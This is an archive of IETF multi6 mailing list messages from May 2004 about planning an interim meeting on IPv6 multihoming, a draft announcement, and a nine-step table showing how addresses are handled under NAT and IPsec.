Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

Personal comments (i.e. not responding as co-chair) below...

Iljitsch van Beijnum wrote:
> On 24-mei-04, at 15:17, Brian E Carpenter wrote:
> 
>> The room will hold about 100 people; at the moment we do not plan
>> on requiring formal advance registration. The informal count of
>> attendees was about 26 as of May 24.
> 
> 
>> 3. Review "Things to think about" draft (Eliot Lear, 45 min.)
>> 4. Review threats draft(s) if updated (leader(s) TBD, 45 min.)
>> 5. Review + discuss future Architecture draft (Geoff Huston
>>    by phone, co-chairs, 2 hours)
>> 6. Open discussion on the impact of various categories of solutions
>>    (co-chairs, 1 hour)
> 
> 
> I would like to repeat my suggestion that the things to think about and 
> threats stuff be moved to the end of the meeting, as going in such 
> detail before even discussing the architecture is likely to waste time 
> on details that will turn out to be moot later.

My view is that these are "business as usual" items that can be done fairly
quickly, but there is a high chance they would be pushed off the agenda
if left to the end. But I certainly agree that they will both need to
be updated as a result of the architecture discussion.

> 
> Also, I was wondering if it were possible to allow those who are so 
> inclined to make a sort of "opening statement" or have something similar 
> to what the IAB did a few IETF meetings ago. I think we can assume that 
> people who take the time to attend this interim meeting and have a point 
> to make, will make sure they get to make this point, so even though this 
> would technically eat up a lot of time (even at 5 minutes a pop, if many 
> people want to do this), in reality it wouldn't make a big difference. I 
> think this would help focus on the important issues and avoid the common 
> syndrome where during the discussions every speaker brings up something 
> different from the previous one.

This is an approach to starting the discussion of the architecture. We do
need some structure in that discussion, and this might be a good way to
help us focus. So my idea would be to do this after Geoff presents.
> 
> About the jabber thing: wouldn't it be more useful to see if we can 
> stream the audio? That way there is no need for a volunteer to break any 
> typing records and jabber remains available as an out of band channel. 
> (Do we have a jabber conference server, btw?)

I am told the IETF jabber server is always up. Frankly I have no confidence
that we will get enough reliable throughput from an arbitrary hotel to
run streaming, whereas jabber has a good chance of working even if the
network is spotty. So I think we should go for jabber anyway. If anyone
volunteers to run audio streaming, so much the better.

(co-chair hat on again)

We are still looking for a jabber scribe!

    Brian



From owner-multi6@ops.ietf.org  Wed May 26 05:29:05 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA02604
	for <multi6-archive@lists.ietf.org>; Wed, 26 May 2004 05:29:05 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BSuh9-000Bfa-AL
	for multi6-data@psg.com; Wed, 26 May 2004 09:27:31 +0000
Received: from [83.149.65.1] (helo=sequoia.muada.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BSuh8-000BfK-7L
	for multi6@ops.ietf.org; Wed, 26 May 2004 09:27:30 +0000
Received: from [127.0.0.1] (sequoia.muada.com [83.149.65.1])
	by sequoia.muada.com (8.12.10/8.12.10) with ESMTP id i4Q9L81C069032;
	Wed, 26 May 2004 11:21:08 +0200 (CEST)
	(envelope-from iljitsch@muada.com)
In-Reply-To: <40B45DB2.9050703@zurich.ibm.com>
References: <40B1F601.7050304@zurich.ibm.com> <CC2D22F4-AEEF-11D8-8E28-000A95CD987A@muada.com> <40B45DB2.9050703@zurich.ibm.com>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <100F5EB5-AEF6-11D8-8E28-000A95CD987A@muada.com>
Content-Transfer-Encoding: 7bit
Cc: Multi6 <multi6@ops.ietf.org>
From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: Slightly updated announcement for interim meeting
Date: Wed, 26 May 2004 11:21:26 +0200
To: Brian E Carpenter <brc@zurich.ibm.com>
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

On 26-mei-04, at 11:04, Brian E Carpenter wrote:

>>> 3. Review "Things to think about" draft (Eliot Lear, 45 min.)
>>> 4. Review threats draft(s) if updated (leader(s) TBD, 45 min.)

>> I would like to repeat my suggestion that the things to think about 
>> and threats stuff be moved to the end of the meeting, as going in 
>> such detail before even discussing the architecture is likely to 
>> waste time on details that will turn out to be moot later.

> My view is that these are "business as usual" items that can be done 
> fairly
> quickly,

Hm, 1.5 hours isn't all THAT quickly...

> but there is a high chance they would be pushed off the agenda
> if left to the end.

That's better than pushing the discussion off the agenda. As there are 
only three drafts on the agenda and no other IETF stuff going on, I 
think it's reasonable to assume everyone has read the drafts anyway...

>> Also, I was wondering if it were possible to allow those who are so 
>> inclined to make a sort of "opening statement" or have something 
>> similar to what the IAB did a few IETF meetings ago.

> This is an approach to starting the discussion of the architecture. We 
> do
> need some structure in that discussion, and this might be a good way to
> help us focus. So my idea would be to do this after Geoff presents.

Ok.

>> About the jabber thing: wouldn't it be more useful to see if we can 
>> stream the audio? That way there is no need for a volunteer to break 
>> any typing records and jabber remains available as an out of band 
>> channel. (Do we have a jabber conference server, btw?)

> I am told the IETF jabber server is always up.

Excellent.

> Frankly I have no confidence
> that we will get enough reliable throughput from an arbitrary hotel to
> run streaming,

Sounds like a challenge.  :-)

> whereas jabber has a good chance of working even if the
> network is spotty. So I think we should go for jabber anyway. If anyone
> volunteers to run audio streaming, so much the better.

I'll see what I can do. Will we be using microphones?

> (co-chair hat on again)

> We are still looking for a jabber scribe!

I suppose I can do some of this, but not the entire day...




From owner-multi6@ops.ietf.org  Wed May 26 06:41:33 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA07128
	for <multi6-archive@lists.ietf.org>; Wed, 26 May 2004 06:41:32 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BSvot-000LJQ-Ia
	for multi6-data@psg.com; Wed, 26 May 2004 10:39:35 +0000
Received: from [195.212.29.150] (helo=mtagate1.de.ibm.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BSvoq-000LIp-9g
	for multi6@ops.ietf.org; Wed, 26 May 2004 10:39:32 +0000
Received: from d12nrmr1507.megacenter.de.ibm.com (d12nrmr1507.megacenter.de.ibm.com [9.149.167.1])
	by mtagate1.de.ibm.com (8.12.10/8.12.10) with ESMTP id i4Q8MiGP113306
	for <multi6@ops.ietf.org>; Wed, 26 May 2004 08:22:44 GMT
Received: from sihl.zurich.ibm.com (sihl.zurich.ibm.com [9.4.16.232])
	by d12nrmr1507.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4Q8Mhw2222888
	for <multi6@ops.ietf.org>; Wed, 26 May 2004 10:22:44 +0200
Received: from zurich.ibm.com (sig-9-145-139-16.de.ibm.com [9.145.139.16])
	by sihl.zurich.ibm.com (AIX4.3/8.9.3p2/8.9.3) with ESMTP id KAA40486
	for <multi6@ops.ietf.org>; Wed, 26 May 2004 10:22:43 +0200
Message-ID: <40B453D7.5050102@zurich.ibm.com>
Date: Wed, 26 May 2004 10:22:47 +0200
From: Brian E Carpenter <brc@zurich.ibm.com>
Organization: IBM
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en, fr, de
MIME-Version: 1.0
To: Multi6 <multi6@ops.ietf.org>
Subject: [Fwd: I-D ACTION:draft-lear-multi6-things-to-think-about-03.txt]
Content-Type: multipart/mixed;
 boundary="------------000709090800090807000307"
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

This is a multi-part message in MIME format.
--------------000709090800090807000307
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

This will be the version we discuss in the interim meeting

-------- Original Message --------
Subject: I-D ACTION:draft-lear-multi6-things-to-think-about-03.txt
Date: Tue, 25 May 2004 15:50:43 -0400
From: Internet-Drafts@ietf.org
Reply-To: internet-drafts@ietf.org
To: i-d-announce@ietf.org

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Things MULTI6 Developers should think about
	Author(s)	: E. Lear
	Filename	: draft-lear-multi6-things-to-think-about-03.txt
	Pages		: 14
	Date		: 2004-5-25
	
This document specifies a set of questions that authors should be
prepared to answer as part of a solution to multihoming with IPv6.
The questions do not assume that multihoming is the only problem of
interest, nor do they demand a more general solution either.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-lear-multi6-things-to-think-about-03.txt

To remove yourself from the I-D Announcement list, send a message to
i-d-announce-request@ietf.org with the word unsubscribe in the body of the message.
You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce
to change your subscription settings.


Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-lear-multi6-things-to-think-about-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-lear-multi6-things-to-think-about-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.



-- 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Brian E Carpenter
Distinguished Engineer, Internet Standards & Technology, IBM


--------------000709090800090807000307
Content-Type: Message/External-body;
 name="draft-lear-multi6-things-to-think-about-03.txt"
Content-Disposition: inline;
 filename="draft-lear-multi6-things-to-think-about-03.txt"
Content-Transfer-Encoding: 7bit

Content-Type: text/plain
Content-ID: <2004-5-25161301.I-D@ietf.org>



--------------000709090800090807000307
Content-Type: text/plain;
 name="file:///C|/DOCUME%7E1/BRIAN/LOCALS%7E1/TEMP/nsmail.txt"
Content-Disposition: inline;
 filename="file:///C|/DOCUME%7E1/BRIAN/LOCALS%7E1/TEMP/nsmail.txt"
Content-Transfer-Encoding: 7bit

_______________________________________________
I-D-Announce mailing list
I-D-Announce@ietf.org
https://www.ietf.org/mailman/listinfo/i-d-announce


--------------000709090800090807000307--



From owner-multi6@ops.ietf.org  Wed May 26 07:49:29 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA10213
	for <multi6-archive@lists.ietf.org>; Wed, 26 May 2004 07:49:28 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BSwrx-0004nW-IA
	for multi6-data@psg.com; Wed, 26 May 2004 11:46:49 +0000
Received: from [83.149.65.1] (helo=sequoia.muada.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BSwrw-0004ma-EW
	for multi6@ops.ietf.org; Wed, 26 May 2004 11:46:48 +0000
Received: from [127.0.0.1] (sequoia.muada.com [83.149.65.1])
	by sequoia.muada.com (8.12.10/8.12.10) with ESMTP id i4QBkQ1C071525
	for <multi6@ops.ietf.org>; Wed, 26 May 2004 13:46:26 +0200 (CEST)
	(envelope-from iljitsch@muada.com)
Mime-Version: 1.0 (Apple Message framework v613)
Content-Transfer-Encoding: 7bit
Message-Id: <5D153DD8-AF0A-11D8-8E28-000A95CD987A@muada.com>
Content-Type: text/plain; charset=US-ASCII; format=flowed
To: Multi6 <multi6@ops.ietf.org>
From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: multiple destination address issues
Date: Wed, 26 May 2004 13:46:45 +0200
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

Not sure how many of you are also in v6ops. However, you may want to 
read v6ops-v6onbydefault-02.txt as it has a discussion on issues 
surrounding multiple destination addresses. The trouble is that by 
running dual stack this automatically raises the issue of selecting 
which address to use because you can connect over IPv4 or IPv6. Most of 
the issues discussed in this part of the draft are relevant what we're 
doing here.

Iljitsch




From owner-multi6@ops.ietf.org  Wed May 26 09:43:57 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA16374
	for <multi6-archive@lists.ietf.org>; Wed, 26 May 2004 09:43:57 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BSyeW-000Lpj-Qj
	for multi6-data@psg.com; Wed, 26 May 2004 13:41:04 +0000
Received: from [193.94.160.1] (helo=netcore.fi)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BSyeM-000LpB-TC
	for multi6@ops.ietf.org; Wed, 26 May 2004 13:40:55 +0000
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id i4QD8O410267
	for <multi6@ops.ietf.org>; Wed, 26 May 2004 16:08:24 +0300
Date: Wed, 26 May 2004 16:08:24 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Multi6 <multi6@ops.ietf.org>
Subject: Re: multiple destination address issues
In-Reply-To: <5D153DD8-AF0A-11D8-8E28-000A95CD987A@muada.com>
Message-ID: <Pine.LNX.4.44.0405261607170.8775-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

On Wed, 26 May 2004, Iljitsch van Beijnum wrote:
> Not sure how many of you are also in v6ops. However, you may want to 
> read v6ops-v6onbydefault-02.txt as it has a discussion on issues 
> surrounding multiple destination addresses. The trouble is that by 
> running dual stack this automatically raises the issue of selecting 
> which address to use because you can connect over IPv4 or IPv6. Most of 
> the issues discussed in this part of the draft are relevant what we're 
> doing here.

To add to this, the document will be under IESG evaluation tomorrow, 
so if you want to send feedback on it, better do it ASAP.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings




From owner-multi6@ops.ietf.org  Wed May 26 10:01:39 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA17157
	for <multi6-archive@lists.ietf.org>; Wed, 26 May 2004 10:01:38 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BSywk-0000Rr-AD
	for multi6-data@psg.com; Wed, 26 May 2004 13:59:54 +0000
Received: from [195.212.29.151] (helo=mtagate2.de.ibm.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BSywb-0000OH-Ql
	for multi6@ops.ietf.org; Wed, 26 May 2004 13:59:46 +0000
Received: from d12nrmr1507.megacenter.de.ibm.com (d12nrmr1507.megacenter.de.ibm.com [9.149.167.1])
	by mtagate2.de.ibm.com (8.12.10/8.12.10) with ESMTP id i4QConlg096718;
	Wed, 26 May 2004 12:50:49 GMT
Received: from sihl.zurich.ibm.com (sihl.zurich.ibm.com [9.4.16.232])
	by d12nrmr1507.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4QComw2278122;
	Wed, 26 May 2004 14:50:48 +0200
Received: from zurich.ibm.com (sig-9-145-139-16.de.ibm.com [9.145.139.16])
	by sihl.zurich.ibm.com (AIX4.3/8.9.3p2/8.9.3) with ESMTP id OAA12634;
	Wed, 26 May 2004 14:50:47 +0200
Message-ID: <40B492AB.2000807@zurich.ibm.com>
Date: Wed, 26 May 2004 14:50:51 +0200
From: Brian E Carpenter <brc@zurich.ibm.com>
Organization: IBM
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en, fr, de
MIME-Version: 1.0
To: Iljitsch van Beijnum <iljitsch@muada.com>
CC: Multi6 <multi6@ops.ietf.org>
Subject: Re: Slightly updated announcement for interim meeting
References: <40B1F601.7050304@zurich.ibm.com> <CC2D22F4-AEEF-11D8-8E28-000A95CD987A@muada.com> <40B45DB2.9050703@zurich.ibm.com> <100F5EB5-AEF6-11D8-8E28-000A95CD987A@muada.com>
In-Reply-To: <100F5EB5-AEF6-11D8-8E28-000A95CD987A@muada.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

Iljitsch van Beijnum wrote:
...
>> whereas jabber has a good chance of working even if the
>> network is spotty. So I think we should go for jabber anyway. If anyone
>> volunteers to run audio streaming, so much the better.
> 
> 
> I'll see what I can do. Will we be using microphones?

Thanks! Yes, at least we are paying for audio support.

> 
>> (co-chair hat on again)
> 
> 
>> We are still looking for a jabber scribe!
> 
> 
> I suppose I can do some of this, but not the entire day...

Great. Now we need another volunteer or two...

     Brian



From owner-multi6@ops.ietf.org  Wed May 26 14:52:55 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA05246
	for <multi6-archive@lists.ietf.org>; Wed, 26 May 2004 14:52:54 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BT3Si-0007fK-MD
	for multi6-data@psg.com; Wed, 26 May 2004 18:49:12 +0000
Received: from [83.149.65.1] (helo=sequoia.muada.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BT3Sd-0007e1-6s
	for multi6@ops.ietf.org; Wed, 26 May 2004 18:49:07 +0000
Received: from [127.0.0.1] (sequoia.muada.com [83.149.65.1])
	by sequoia.muada.com (8.12.10/8.12.10) with ESMTP id i4QImj1C078627
	for <multi6@ops.ietf.org>; Wed, 26 May 2004 20:48:46 +0200 (CEST)
	(envelope-from iljitsch@muada.com)
Mime-Version: 1.0 (Apple Message framework v613)
Content-Transfer-Encoding: 7bit
Message-Id: <5CF7C95A-AF45-11D8-8E28-000A95CD987A@muada.com>
Content-Type: text/plain; charset=US-ASCII; format=flowed
To: Multi6 <multi6@ops.ietf.org>
From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: the 9 step program
Date: Wed, 26 May 2004 20:49:05 +0200
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

This is an overview of the different functions names and addresses 
perform. I think it makes for a good tool to evaluate the behavior of 
multihoming solutions with regard to session setup, session survival 
and referrals.

1. The name or address value as it appears to the user. (FQDN, textual 
representation of an IPv4 or IPv6 address, port number usually 
implied.)

2. The values used by the application to set up a session or 
association. (IPv4 or IPv6 address, source value usually set by the 
system for outgoing sessions, destination value can often be any 
address configured on the system for incoming sessions. Destination 
port number provided by application, source port number usually set by 
the system.)

3. The values used in the pseudo-header when calculating the checksum. 
(IPv4 or IPv6 addresses, port numbers.)

4. The source and destination fields in the IP packet on egress for the 
purpose of getting the packet to its destination. (IPv4 or IPv6 
addresses.)

5. The destination field in the IP packet on ingress, for the purpose 
of recognizing whether a packet is addressed to the local host. (IPv4 
or IPv6 address.)

6. The source and destination fields and port numbers in the packet, 
for the purpose of demultiplexing transport level sessions. (IPv4 or 
IPv6 addresses and port numbers.)

7. The values used in the pseudo-header when calculating the checksum 
(see 3).

8. The values used by the application to set up a session or 
association (see 2).

9. The name or address value as it appears to the user (see 1).

In traditional IPv4 all the addresses and port numbers remain the same 
once they're set. However, when using NAT or IPsec this isn't the case 
(ignoring the port numbers for a moment):

     IPv4             NAT                       IPsec tunnel mode
1.  s=0, d=FQDNX     s=0, d=FQDNX              s=0, d=FQDNX
2.   | s=A, d=X         s=A, d=X                | s=A, d=X
3.   | s=A, d=X         s=A, d=X                | s=A, d=X
4.   | s=A, d=X         s=A, d=X                |  | s=B, d=Y
--- i --- n ---   --- t --- r --- a --- n --- s --- i --- t ---
5.   | s=A, d=X            s=B, d=X             |  | s=B, d=Y
6.   | s=A, d=X            s=B, d=X             | s=A, d=X
7.   | s=A, d=X            s=B, d=X             | s=A, d=X
8.   | s=A, d=X            s=B, d=X             | s=A, d=X
9.  s=FQDNA, d=X              s=FQDNB, d=X     s=FQDNA, d=X

(More permuations are used today, such as redirecting TCP sessions such 
as in tunneling over SSH.)

For client-server operation, there are very few restrictions: as long 
as the checksum computation in 3 and 7 work, pretty much any and all 
information can be modified at any step. However, above layer 7 there 
is usually the requirement that the values in 1 and 9 match (in other 
words, the host reached is really the owner of the FQDN or address used 
in 1).

This changes radically when we introduce referrals: in that case, it's 
vitally important that the values in step 2 of the original session 
match those in step 5 or 8 of the session that is created after the 
referral. In traditional IP this is easily accomplished because the 
values never change, and in IPsec because the modified addresses are 
restored to their original values before the application gets to use 
them in a referral.

Session survivability can be accomplished by (after a rehoming event) 
modifying addresses before or after 3 and changing them back somewhere 
between 5 and 8. Note though that this seriously gets in the way of 
firewalls sitting between 4 and 5, just like IPsec does.

Another issue comes up when an application wants to connect to a remote 
host and the first (or only) address available in step 1 isn't 
reachable. There are several ways to solve this, such as:

- changes to step 1 (ie, the application must try multiple addresses)
- modification of the values somewhere in step 2, 3 or 4 (but then one 
of steps 5 - 9 must restore it for referrals to work)

Do you guys feel it will be useful to look at the proposed solutions or 
solution groups in this light?




From owner-multi6@ops.ietf.org  Thu May 27 01:16:48 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA15020
	for <multi6-archive@lists.ietf.org>; Thu, 27 May 2004 01:16:48 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BTDDc-000MjE-Vo
	for multi6-data@psg.com; Thu, 27 May 2004 05:14:16 +0000
Received: from [131.228.20.26] (helo=mgw-x3.nokia.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BTDDa-000Mip-Mn
	for multi6@ops.ietf.org; Thu, 27 May 2004 05:14:14 +0000
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i4R5E6S29191;
	Thu, 27 May 2004 08:14:07 +0300 (EET DST)
X-Scanned: Thu, 27 May 2004 08:14:01 +0300 Nokia Message Protector V1.3.30 2004040916 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i4R5E1U8010882;
	Thu, 27 May 2004 08:14:01 +0300
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 008NIMrj; Thu, 27 May 2004 08:13:55 EEST
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i4R5DpH11970;
	Thu, 27 May 2004 08:13:51 +0300 (EET DST)
Received: from esebe023.NOE.Nokia.com ([172.21.138.115]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 27 May 2004 08:13:17 +0300
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: the 9 step program
Date: Thu, 27 May 2004 08:13:17 +0300
Message-ID: <DADF50F5EC506B41A0F375ABEB3206360143BF67@esebe023.ntc.nokia.com>
Thread-Topic: the 9 step program
Thread-Index: AcRDUvV0zR1nuSa/R7CkzFLFAx4JgQAVfynA
From: <john.loughney@nokia.com>
To: <iljitsch@muada.com>, <multi6@ops.ietf.org>
X-OriginalArrivalTime: 27 May 2004 05:13:17.0566 (UTC) FILETIME=[51E431E0:01C443A9]
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.5 required=5.0 tests=AWL,BAYES_00,NO_REAL_NAME 
	autolearn=no version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: quoted-printable

Iljitsch,

Could you clarify what you mean by user below?  Is it what is
exposed to the application or something else.  User can imply
human user, but I am not so sure about your meaning.

John

> This is an overview of the different functions names and addresses=20
> perform. I think it makes for a good tool to evaluate the behavior of=20
> multihoming solutions with regard to session setup, session survival=20
> and referrals.
>=20
>  1. The name or address value as it appears to the user. (FQDN, =
textual=20
> representation of an IPv4 or IPv6 address, port number usually=20
> implied.)
>=20
> 2. The values used by the application to set up a session or=20
> association. (IPv4 or IPv6 address, source value usually set by the=20
> system for outgoing sessions, destination value can often be any=20
> address configured on the system for incoming sessions. Destination=20
> port number provided by application, source port number usually set by =

> the system.)
>=20
> 3. The values used in the pseudo-header when calculating the checksum. =

> (IPv4 or IPv6 addresses, port numbers.)
>=20
> 4. The source and destination fields in the IP packet on egress for =
the=20
> purpose of getting the packet to its destination. (IPv4 or IPv6=20
> addresses.)
>=20
> 5. The destination field in the IP packet on ingress, for the purpose=20
> of recognizing whether a packet is addressed to the local host. (IPv4=20
> or IPv6 address.)
>=20
> 6. The source and destination fields and port numbers in the packet,=20
> for the purpose of demultiplexing transport level sessions. (IPv4 or=20
> IPv6 addresses and port numbers.)
>=20
> 7. The values used in the pseudo-header when calculating the checksum=20
> (see 3).
>=20
> 8. The values used by the application to set up a session or=20
> association (see 2).
>=20
> 9. The name or address value as it appears to the user (see 1).
>=20
> In traditional IPv4 all the addresses and port numbers remain=20
> the same=20
> once they're set. However, when using NAT or IPsec this isn't=20
> the case=20
> (ignoring the port numbers for a moment):
>=20
>      IPv4             NAT                       IPsec tunnel mode
> 1.  s=3D0, d=3DFQDNX     s=3D0, d=3DFQDNX              s=3D0, =
d=3DFQDNX
> 2.   | s=3DA, d=3DX         s=3DA, d=3DX                | s=3DA, d=3DX
> 3.   | s=3DA, d=3DX         s=3DA, d=3DX                | s=3DA, d=3DX
> 4.   | s=3DA, d=3DX         s=3DA, d=3DX                |  | s=3DB, =
d=3DY
> --- i --- n ---   --- t --- r --- a --- n --- s --- i --- t ---
> 5.   | s=3DA, d=3DX            s=3DB, d=3DX             |  | s=3DB, =
d=3DY
> 6.   | s=3DA, d=3DX            s=3DB, d=3DX             | s=3DA, d=3DX
> 7.   | s=3DA, d=3DX            s=3DB, d=3DX             | s=3DA, d=3DX
> 8.   | s=3DA, d=3DX            s=3DB, d=3DX             | s=3DA, d=3DX
> 9.  s=3DFQDNA, d=3DX              s=3DFQDNB, d=3DX     s=3DFQDNA, =
d=3DX
>=20
> (More permuations are used today, such as redirecting TCP sessions =
such=20
> as in tunneling over SSH.)
>=20
> For client-server operation, there are very few restrictions: as long=20
> as the checksum computation in 3 and 7 work, pretty much any and all=20
> information can be modified at any step. However, above layer 7 there=20
> is usually the requirement that the values in 1 and 9 match (in other=20
> words, the host reached is really the owner of the FQDN or=20
> address used=20
> in 1).
>=20
> This changes radically when we introduce referrals: in that case, it's =

> vitally important that the values in step 2 of the original session=20
> match those in step 5 or 8 of the session that is created after the=20
> referral. In traditional IP this is easily accomplished because the=20
> values never change, and in IPsec because the modified addresses are=20
> restored to their original values before the application gets to use=20
> them in a referral.
>=20
> Session survivability can be accomplished by (after a rehoming event)=20
> modifying addresses before or after 3 and changing them back somewhere =

> between 5 and 8. Note though that this seriously gets in the way of=20
> firewalls sitting between 4 and 5, just like IPsec does.
>=20
> Another issue comes up when an application wants to connect to a =
remote=20
> host and the first (or only) address available in step 1 isn't=20
> reachable. There are several ways to solve this, such as:
>=20
> - changes to step 1 (ie, the application must try multiple addresses)
> - modification of the values somewhere in step 2, 3 or 4 (but then one =

> of steps 5 - 9 must restore it for referrals to work)
>=20
> Do you guys feel it will be useful to look at the proposed solutions =
or=20
> solution groups in this light?
>=20
>=20
>=20



From owner-multi6@ops.ietf.org  Thu May 27 03:26:41 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA05016
	for <multi6-archive@lists.ietf.org>; Thu, 27 May 2004 03:26:41 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BTFF7-0007mQ-Or
	for multi6-data@psg.com; Thu, 27 May 2004 07:23:57 +0000
Received: from [83.149.65.1] (helo=sequoia.muada.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
